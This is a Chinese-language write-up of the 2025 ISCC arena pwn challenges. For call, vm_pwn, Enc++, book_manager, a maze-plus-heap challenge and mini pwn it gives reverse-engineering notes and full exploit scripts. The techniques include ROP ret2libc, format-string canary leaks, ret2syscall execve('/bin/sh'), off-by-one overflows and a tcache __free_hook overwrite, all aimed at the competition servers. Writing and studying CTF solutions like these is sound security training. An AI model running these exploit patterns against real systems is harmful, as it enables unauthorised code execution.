前言
擂台赛的体验还是不错的,都是师傅们用心出的题目,但是为什么那么多vm pwn???
通过网盘分享的文件:2025ISCC擂台赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1y_zdFltMZmCxfxalS9EuCw?pwd=xidp 提取码: xidp
解出
能力有限,很多方法可能并不是最优解,如果有师傅有好的方法愿意分享的话我会非常感谢的
call
checksec
查看程序保护,发现程序没有
开启pie保护
以及canary保护
程序存在明显的栈溢出
直接溢出打ROP泄露libc地
址然后执行system("/bin/sh")
即可
完整exp如下
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./call"
libc_path = './libc6_2.31-0ubuntu9.17_amd64.so'
ip = '101.200.155.151:12100'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
cmd = """
set follow-fork-mode parent\n
"""
bps = []
#---------------------debug-------------------------------
# pwndbg(0, bps, cmd)
pop_rdi_ret = 0x0000000000401273#: pop rdi; ret
pop_rsi_r_ret = 0x0000000000401271#: pop rsi; pop r15; ret;
ret = 0x000000000040101a#: ret;
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r_ret)
payload += p64(elf.got['write'])
payload += p64(0)
payload += p64(elf.plt['write'])
payload += p64(elf.sym['main'])
sdla("My name is\n", payload)
write_addr = uu64()
leak("write_addr")
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
sdla("My name is\n", payload)
ia()
vm_pwn
保护全开的一道vm pwn题
程序逻辑比较常规,放入deepseek也可以分析出大概,总之程序的大致逻辑就是先让用户输入一大段内容当做后续的指令来执行
本题相对简单不过多阐述逆向过程,主要在于使用gdb去调试,查看输入的值被移动到了什么地方,为了方便读者逆向下面提供我已经逆向出的结构体,导入IDA中即可使用
struct VMContext {
uint64_t regs[4];
uint64_t ip_offset;
uint64_t *rsp;
uint64_t *code_base;
uint64_t reserved;
uint64_t *rbp;
};
导入方法可以参考这篇文章:IDA技巧——结构体-软件逆向-看雪-安全社区|安全招聘|kanxue.com
各函数的分析结果如下:
sub_12D5 → vm_fetch_opcode // 从指令流中读取1字节操作码
sub_132C → vm_read_imm_qword // 从指令流读取8字节立即数(用于MOV等指令的立即数操作)
sub_1393 → vm_stack_push // 压栈操作(带栈溢出检查)
sub_1432 → vm_stack_pop // 出栈操作(带栈溢出检查)
各个分支的分析结果如下
操作码 | 指令名称 | 行为描述 |
0x00 | MOV REG, IMM | 将立即数存入寄存器 |
0x01 | LOAD REG, [MEM] | 从内存加载数据到寄存器 |
0x02 | STORE [MEM], REG | 将寄存器值存入内存 |
0x03 | MOV REG1, REG2 | 寄存器间数据传输 |
0x04 | CALL | 函数调用(压栈返回地址) |
0x05 | POP REG | 弹栈到寄存器 |
0x06 | EXECUTE | 执行函数指针 |
0x07 | JMP IMM | 无条件跳转到指定地址 |
0x08 | RET | 从函数返回 |
0x09 | NOP | 空操作 |
0x0A | ADD REG, IMM | 寄存器加立即数 |
0x0B | SUB REG, IMM | 寄存器减立即数 |
分析后的程序如下 |
这里先给出完整的exp,exp上面写出了我的利用过程以及每个选项的作用供大家理解分析
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn2"
libc_path = './libc.so.6'
ip = '101.200.155.151:20000'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
set follow-fork-mode parent
x/60gx $rebase(0x4000)
heap
"""
# 断点
bps = [0x014FF]
#---------------------debug-------------------------------
def mov_imm(reg, imm):
"""操作码 0x00: 将 8 字节立即数存入寄存器"""
"""0x00, reg_idx, <8B立即数>"""
return flat(p8(0), p8(reg, signed=True), p64(imm, signed=True))
def load_ptr_reg(ptr_reg_addr, target_reg):
"""操作码 0x01: 寄存器间接加载 (src -> dst)"""
"""0x01, target_reg = *ptr_reg_addr"""
return flat(
p8(1),
p8(ptr_reg_addr, signed=True), # 允许为负数
p8(target_reg, signed=True)
)
def store_ptr_reg(reg, target_reg):
"""操作码 0x02: 寄存器间接存储 (src -> [dst])"""
"""0x02, *target_reg = reg"""
return flat(p8(2), p8(reg), p8(target_reg)) # <bb + b → p8+p8+p8
def mov_reg1_reg2(reg1, reg2):
"""操作码 0x03: 寄存器间移动 (src -> dst)"""
"""0x03, reg2 = reg1"""
return flat(p8(3), p8(reg1), p8(reg2)) # <bb + b → p8+p8+p8
def push(reg_idx):
"""操作码 0x04: 压栈"""
"""0x04, push reg; stack_rbp-0x8"""
return flat(p8(4), p8(reg_idx)) # <bB → p8+p8
def pop(reg_idx):
"""操作码 0x05: 出栈"""
"""0x05, pop reg stack_rbp+0x8"""
return flat(p8(5), p8(reg_idx)) # <bB → p8+p8
def call(reg_idx):
"""操作码 0x06: 调用寄存器指向的函数"""
"""call reg"""
return flat(p8(6), p8(reg_idx)) # <bB → p8+p8
def jmp_reg(reg_idx):
"""操作码 0x07: 跳转寄存器指向的地址"""
"""0x07, jmp reg 但是对跳转的范围有限制,所以我们不使用他"""
return flat(p8(7), p8(reg_idx)) # <bB → p8+p8
def vm_exit():
"""操作码 0x08: 虚拟机退出"""
return p8(8) # b → p8
def add(reg, imm):
"""操作码 0x0A: 寄存器加立即数"""
return flat(p8(0xA), p8(reg), p64(imm)) # <bbQ → p8+p8+p64
def sub(reg, imm):
"""操作码 0x0B: 寄存器减立即数"""
return flat(p8(0xB), p8(reg), p64(imm)) # <bbQ → p8+p8+p64
puts_offset = libc.sym['puts']
system_offset = puts_offset- libc.sym['system']
bin_sh_offset = next(libc.search(b'/bin/sh')) - puts_offset
leak("puts_offset")
leak("system_offset")
leak("bin_sh_offset")
# VM_list = 0x04060
pwndbg(1, bps, cmd)
payload = load_ptr_reg(-11, 1)
payload += sub(1, 0x78)
payload += load_ptr_reg(1, 0)
payload += load_ptr_reg(1, 2)
payload += add(0, bin_sh_offset)
payload += sub(4, system_offset)
payload += call(4)
put(payload)
sda("Enter bytecode: ", payload)
ia()
利用思路:
- 既然我们有call的功能,那么我们只需要让
reg0
为binsh地址
然后随便找个寄存器放入system的地址
然后call一下就可以了 - 那么我们就需要知道libc的基地址然后再libc中利用偏移找到binsh地址和system地址就可以了
- 想要知道libc基地址其实我们也很容易想到就是去got表里面拿,那么我们想要知道got表的地址就需要知道程序基地址
- 经过调试我们可以注意到
0x04008 off_4008
里面存放的指针是指向他自己的
- 那么我们就可以利用这个地址获得got表地址,然后通过got表中的内容得到libc地址,再通过libc地址得到我们需要的binsh和system,最后call一下就拿到shell了
exp的利用过程如下
- 执行
load_ptr_reg(-11, 1)
和sub(1, 0x78)
先将这个地址放入到reg1寄存器中,然后通过加减把它变成指向puts的got表
- 然后通过
load_ptr_reg(1, 0)
load_ptr_reg(1, 2)
两条指令将puts_addr
放入reg0
和reg2
中 add(0, bin_sh_offset)
sub(2, system_offset)
通过对于偏移量的加减分别计算出binsh
和system地址
- 直接
call~~~~~~~~
拿到shell
Enc++
导入sig恢复部分的符号表
下面是导入 libc6_2.35-0ubuntu3_amd64.sig
后的main函数的样子
漏洞点在main函数中存在格式化字符串的漏洞,sub_406142函数中存在read溢出
经过分析程序的大致逻辑就是说让用户输入,然后用户输入的东西会经过解密,然后成为printf的参数,在下面符合条件 qword_932170 == 1
就可以进入sub_406142函数中利用read溢出打ret2syscall
那么其实逻辑也很简单,就是分析这个加密解密的过程,我们自己将加密的东西输入让程序解密,以此来利用格式化字符串来泄露canary和修改qword_932170全局变量
这里可能疑惑的点是为什么有canary,明明checksec显示是没有的,可能是因为老版本的checksec是利用函数名字来判断有无canary的,符号表被去掉后就分析不出来了
分析可知加密逻辑如下:
程序对接收到的数据进行Base64解码后,按照以下规范解析加密参数:
1. 前32字节作为AES-256-CBC加密密钥(KEY)
2. 紧随的16字节作为初始化向量(IV)
3. 剩余部分作为待解密的密文(miwen)
程序可以循环两次,一次用于泄露canary,以此用于修改qword_932170
在IDA中查看字符串可以发现/bin/sh,这像是一个提示,和/bin/sh 一起的还有我们解密所需要的密钥和向量
用AI分析跑出一个加密脚本
# AES configuration
AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"
def aes_encrypt(plaintext: bytes) -> bytes:
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
padding = b"\x00" * (16 - len(plaintext) % 16)
ciphertext = cipher.encrypt(plaintext + padding)
return base64.b64encode(ciphertext).decode('utf-8')
运行到 call printf
处查看栈内存,题目已经将 qword_932170的地址
放入栈中以此来减少我们的难度
然后就是非常简单的使用格式化字符串泄露和修改随后打read溢出的ret2syscall
完整exp如下:
from xidp import *
from Crypto.Cipher import AES
from base64 import b64encode
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:21000'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
set follow-fork-mode parent\n
"""
# 断点
bps = [0x406262, 0x4062A2]
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)
pop_rax_ret = 0x0000000000411dc6#: pop rax; ret;
pop_rdi_ret = 0x000000000040788b#: pop rdi; ret;
pop_rsi_ret = 0x000000000040797b#: pop rsi; ret;
pop_rdx_ret = 0x00000000004bc453#: pop rdx; ret;
syscall_ret = 0x0000000000707d66#: syscall; ret;
syscall = 0x00000000004c2e22#: syscall;
binsh = 0x00000000007c70c2#: /bin/sh
# pwndbg(0, bps, cmd)
AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"
def aes_encrypt(plaintext: bytes) -> bytes:
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
padding = b"\x00" * (16 - len(plaintext) % 16)
ciphertext = cipher.encrypt(plaintext + padding)
combined = AES_KEY + AES_IV + ciphertext
return base64.b64encode(combined).decode('utf-8')
# pwndbg(0, bps, cmd)
# 泄露canary
payload = aes_encrypt(b"%15$p_aaaa")
sdla("please input your date:", payload)
canary = eval(io.recvuntil(b'_aaaa', drop=True))
leak("canary")
# 修改qword_932170
payload = aes_encrypt(b"%c%7$n")
sdla("please input your date:", payload)
payload = b'a'*40
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall)
sdl(payload)
ia()
好累啊,感觉快燃尽了
book_manager
漏洞点在 main->search->sub_402262
和 main->display
中
这里有off-by-one漏洞,可以通过v12覆盖掉canary结尾的\x00以此使得printf能够泄露canary的值
在display中将输出的数据都放入的v22和v23中,但是没有检查,所以我们可以通过大量构造book结构体以此来达成溢出
这里 a1
其实是一个结构体,需要修复一下的,具体如下,修复后就如上图所示了
struct BookInfo
{
int ID;
char Title[50];
_BYTE gap36[2];
__int64 TitleLength;
char Author[30];
__int64 AuthorLength;
char Publisher[40];
__int64 PublisherLength;
};
所以我们的利用方法就是,先使用search来获得canary,然后利用add创建多个book用于溢出
得到canary后构造携带ROP的books,计算好溢出,使用save保存后调用display函数就可以溢出打ROP
我们构造的ROP里面是调用load函数去打开flag文件并且输出
完整exp如下:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./book_manager"
libc_path = ''
ip = '101.200.155.151:23000'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
set follow-fork-mode parent\n
hex 0x04E9580 2000\n
"""
# 断点
bps = [0x0040345B]
#---------------------debug-------------------------------
def add(title = b'a'*50, author = b'a'*30, publisher = b'a'*40):
sdla(b'>', b'1')
sda(b'Title', title)
sda(b'Author', author)
sda(b'Publisher', publisher)
def dele(idx):
sdla(b'>', b'2')
sdla(b'Enter book ID to delete: ', str(idx))
def modify(idx):
sdla(b'>', b'3')
sdla(b'Please choose: ', str(1))
sdla(b'Enter book ID to modify: ', str(idx))
def search(name):
sdla(b'>', b'4')
sdla(b'Please choose: ', str(2))
sdla(b'Enter author name: ', name)
def display():
sdla(b'>', b'5')
def save():
sdla(b'>', b'6')
def sort():
sdla(b'>', b'7')
def load():
sdla(b'>', b'8')
flag_addr = 0x4e9b2d # 因为程序没有pie所以这个是固定地址
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43
# 这里使用一个search函数来泄露canary
sdla(b'>', b'4')
sdla(b'choose', b'2')
sda(b'name', b'a' * 40)
rcu(b'a'*40 + b'\n')
canary = u64(rc(7).ljust(8, b'\x00')) << 8
leak("canary")
# 多次填充
for i in range(8):
add(b'a'*50, b'b'*30, b'c'*40) # 一个为0x99
add(b'a'*12, b'b'*1, b'c'*3)
# pwndbg(0, bps, cmd)
payload = p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)
# add(payload, b'a'*20 + b'\x00./flag\x00\x00\x00', b'a'*40) #本地
add(payload, b'a'*20 + b'\x00/flag\x00\x00\x00\x00', b'a'*40) #远程
save() # 保存一下
display() # 会将books的内容以及标题放入栈中,没有进行检测,存在溢出
# pwndbg(0, bps, cmd)
ia()
感受是一道很创新的题目呢
迷途之子
里面有一个迷宫游戏,用AI写一个迷宫脚本
from collections import deque
from typing import List, Tuple, Optional
class MazeNavigator:
MAZE_SIZE = 256
TARGET_FLAG = (0x80, 0x80)
def __init__(self, maze_data: List[int]):
self.maze = self._normalize_maze(maze_data)
self.movement = [ # 移动方向配置
{'dx': 0, 'dy': 1, 'code': 'd'}, # 右
{'dx': 1, 'dy': 0, 'code': 's'}, # 下
{'dx': 0, 'dy': -1, 'code': 'a'}, # 左
{'dx': -1, 'dy': 0, 'code': 'w'} # 上
]
def _normalize_maze(self, data: List[int]) -> List[List[int]]:
if isinstance(data[0], int):
return [data[i*self.MAZE_SIZE:(i+1)*self.MAZE_SIZE]
for i in range(self.MAZE_SIZE)]
return data
def _update_flags(self, move: str, curr_flags: Tuple[int, int]) -> Tuple[int, int]:
f1, f2 = curr_flags
if move == 'a':
return (max(0, f1 - 1), f2)
if move == 'd':
return (min(0xFF, f1 + 1), f2)
if move == 'w':
return (f1, max(0, f2 - 1))
if move == 's':
return (f1, min(0xFF, f2 + 1))
return curr_flags
def find_optimal_path(self) -> Optional[str]:
State = Tuple[int, int, List[str], int, int]
initial_state: State = (0, 0, [], 0x00, 0x00)
bfs_queue = deque([initial_state])
visited_states = set()
while bfs_queue:
x, y, path, flag_a, flag_d = bfs_queue.popleft()
# 终止条件检查
if (flag_a, flag_d) == self.TARGET_FLAG:
return ''.join(path)
# 状态去重
state_key = (x, y, flag_a, flag_d)
if state_key in visited_states:
continue
visited_states.add(state_key)
# 遍历移动方向
for direction in self.movement:
new_x = x + direction['dx']
new_y = y + direction['dy']
# 边界和障碍检查
if not (0 <= new_x < self.MAZE_SIZE and 0 <= new_y < self.MAZE_SIZE):
continue
if self.maze[new_x][new_y] != 0:
continue
# 更新状态
new_flags = self._update_flags(direction['code'], (flag_a, flag_d))
new_path = path + [direction['code']]
bfs_queue.append( (new_x, new_y, new_path, *new_flags) )
return None
if __name__ == '__main__':
# 初始化迷宫数据
maze_data = [] # 这里填充实际迷宫数据
navigator = MazeNavigator(maze_data)
result_path = navigator.find_optimal_path()
if result_path:
print(f"成功生成路径,长度:{len(result_path)}")
try:
with open("maze_solution.txt", "w") as output_file:
output_file.write(result_path)
except IOError as e:
print(f"写入文件失败:{str(e)}")
else:
print("未找到可行路径")
得到结果,需要在最后加上一个q用于退出
解决这个迷宫之后我们就可以得到read函数的地址,也就是白送一个libc地址
然后下面就是堆题
但是这个堆本身没有什么漏洞,漏洞在迷宫当中,迷宫中的选项 s
会将user[0]
也就是第一个堆块的低字节的第三位+1
,从此导致堆块发生重叠
执行 game("sq")
之前
执行 game("sq")
之后
我们可以观察到 0x55555556b2a0
的 next指针
从 0x000055555556b2d0
变成了 0x000055555556b3d0
这就是game中的漏洞,由此我们可以造成堆块重叠
完整exp如下:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn_patched"
libc_path = './libc.so.6'
ip = '101.200.155.151:22000'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
set follow-fork-mode parent\n
x/30gx $rebase(0x0014080)\n
x/30gx $rebase(0x14070)\n
"""
# 断点
bps = [0x0017A0]
#---------------------debug-------------------------------
#----------------------heap_menu--------------------------
menu = ">>"
def add(content = b"xidp"):
sdla(menu, str(1))
sda("Enter name (up to 24 chars):", content)
def free(idx):
sdla(menu, str(2))
sda("Index:", str(idx))
def edit(idx, content = "xidp"):
sdla(menu, str(3))
sdla("Index: ", str(idx))
sda("New name:", content)
def game(payload):
sdla(menu, str(4))
sda("Game started! (WASD to move, Q to quit)", payload)
#--------------------------heap_menu--------------
game_payload = "ddsdddssdddddddsssdssddsdddssssddssssdssssddddddssdddsdsdsdssssssssddsssssddsssdsssssssssssddddssssddssssdsdssdssddssssssssssddddsssssdsddddsssdddddddsssdsssdddsdddsssssdsdsdddsddddsssssdssdddddsssssddddsdddsdsdddddddddddddsssdssssdddsdsddddddsddddddssdddsq"
add() # 这里需要创建一个初始chunk后续才能进入game中
game(game_payload)
read_addr = uu64()
leak("read_addr")
libc_base = read_addr - libc.sym['read']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
leak("libc_base")
leak("free_hook")
leak("system_addr")
leak("bin_sh")
for i in range(7):
add()
# 倒序释放将tcahcebins的0x30填满
for i in range(6, -1, -1):
free(i)
# pwndbg(1, bps, cmd)
# 这会修改usrs[0]的低三位+1,从而导致bins结构发生重叠
game("sq")
payload = p64(0) + p64(free_hook-0x8)
edit(6, payload)
add()
add()
add(p64(system_addr))
payload = p64(0) + b'/bin/sh\x00'
edit(6, payload)
# pwndbg(1, bps, cmd)
free(1)
ia()
mini pwn (赛后复现,感谢tw11ty师傅指导)
不是哥们,又是VM pwn???
程序开始时qword_40C0为1
Case5中有一个syscall,我们可以构造execve(“/bin/sh”, 0, 0),构造之前需要设置qword_40C0为0
在case3中,开始就会将qword_40C0设置为0, 随后会执行如下图字节码,
它将设置系统调用号为0,然后执行syscall,再自动执行case 4
Case4中,会判断v5 = *(qword_4060 + 4024) == 0;,通过判断结果来重新设置LOBYTE(qword_40C0) = !v5;在默认情况下qword_40C0会被设置为1,所以可以利用程序中的机器码unk_20B4 来构造read(0, (qword_4060 + 4024), 0x100)从而使得(qword_4060 + 4024) == 0;成立,使得v5为1,最终得到qword_40C0为0,随后就可以利用syscall来构造execve(“/bin/sh”, 0, 0),从而得到shell
抽象exp:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:24000'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
set follow-fork-mode parent\n
"""
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)
opcodes = b''
operands = b''
def pop_reg0(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 0)
operands += struct.pack("<Q", imm)
def pop_reg0_8(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 1)
operands += struct.pack("<Q", imm)
def pop_reg1(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 2)
operands += struct.pack("<Q", imm)
def pop_reg1_8(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 3)
operands += struct.pack("<Q", imm)
def pop_reg2(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 4)
operands += struct.pack("<Q", imm)
def pop_reg3_8(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 5)
operands += struct.pack("<Q", imm)
def pop_reg3(imm):
global opcodes, operands
opcodes += struct.pack("<bb", 1, 6)
operands += struct.pack("<Q", imm)
def push_reg0():
global opcodes
opcodes += struct.pack("<bb", 2, 0)
def push_reg0_8():
global opcodes
opcodes += struct.pack("<bb", 2, 1)
def push_reg1():
global opcodes
opcodes += struct.pack("<bb", 2, 2)
def push_reg1_8():
global opcodes
opcodes += struct.pack("<bb", 2, 3)
def push_reg2():
global opcodes
opcodes += struct.pack("<bb", 2, 4)
def push_reg3_8():
global opcodes
opcodes += struct.pack("<bb", 2, 5)
def push_reg3():
global opcodes
opcodes += struct.pack("<bb", 2, 6)
def xor_reg0():
global opcodes
opcodes += struct.pack("<bb", 6, 0)
def xor_reg0_8():
global opcodes
opcodes += struct.pack("<bb", 6, 1)
def xor_reg1():
global opcodes
opcodes += struct.pack("<bb", 6, 2)
def xor_reg1_8():
global opcodes
opcodes += struct.pack("<bb", 6, 3)
def xor_reg2():
global opcodes
opcodes += struct.pack("<bb", 6, 4)
def xor_reg3_8():
global opcodes
opcodes += struct.pack("<bb", 6, 5)
def xor_reg3():
global opcodes
opcodes += struct.pack("<bb", 6, 6)
def add_reg0():
global opcodes
opcodes += struct.pack("<bb", 7, 0)
def add_reg0_8():
global opcodes
opcodes += struct.pack("<bb", 7, 1)
def add_reg1():
global opcodes
opcodes += struct.pack("<bb", 7, 2)
def add_reg1_8():
global opcodes
opcodes += struct.pack("<bb", 7, 3)
def add_reg2():
global opcodes
opcodes += struct.pack("<bb", 7, 4)
def add_reg3_8():
global opcodes
opcodes += struct.pack("<bb", 7, 5)
def add_reg3():
global opcodes
opcodes += struct.pack("<bb", 7, 6)
def sub_reg0():
global opcodes
opcodes += struct.pack("<bb", 8, 0)
def sub_reg0_8():
global opcodes
opcodes += struct.pack("<bb", 8, 1)
def sub_reg1():
global opcodes
opcodes += struct.pack("<bb", 8, 2)
def sub_reg1_8():
global opcodes
opcodes += struct.pack("<bb", 8, 3)
def sub_reg2():
global opcodes
opcodes += struct.pack("<bb", 8, 4)
def sub_reg3_8():
global opcodes
opcodes += struct.pack("<bb", 8, 5)
def sub_reg3():
global opcodes
opcodes += struct.pack("<bb", 8, 6)
def flag():
global opcodes
opcodes += struct.pack("<b", 3)
def sys():
global opcodes
opcodes += struct.pack("<b", 5)
# 虽然上面定义了很多函数,但是实际用到的没几个
pop_reg0(0x3b)
pop_reg1_8(0x8) # read(0, flag, 0x10) --> reg1_8=0x10
push_reg3()
pop_reg1(1)
[add_reg1() for i in range(1014)] # reg1=flag_addr
flag()
push_reg3()
pop_reg0_8(1)
[add_reg0_8() for i in range(3)]
xor_reg1()
xor_reg1_8()
xor_reg2()
sys()
xor_reg3()
operands += b'/bin/sh\x00'
sdl(operands)
sdl(opcodes)
sdl(p64(0))
ia()
未解出
太多了,实在是打不动了,有空再复现吧,如果有师傅做出来下面我没有解出的题目非常欢迎来和我交流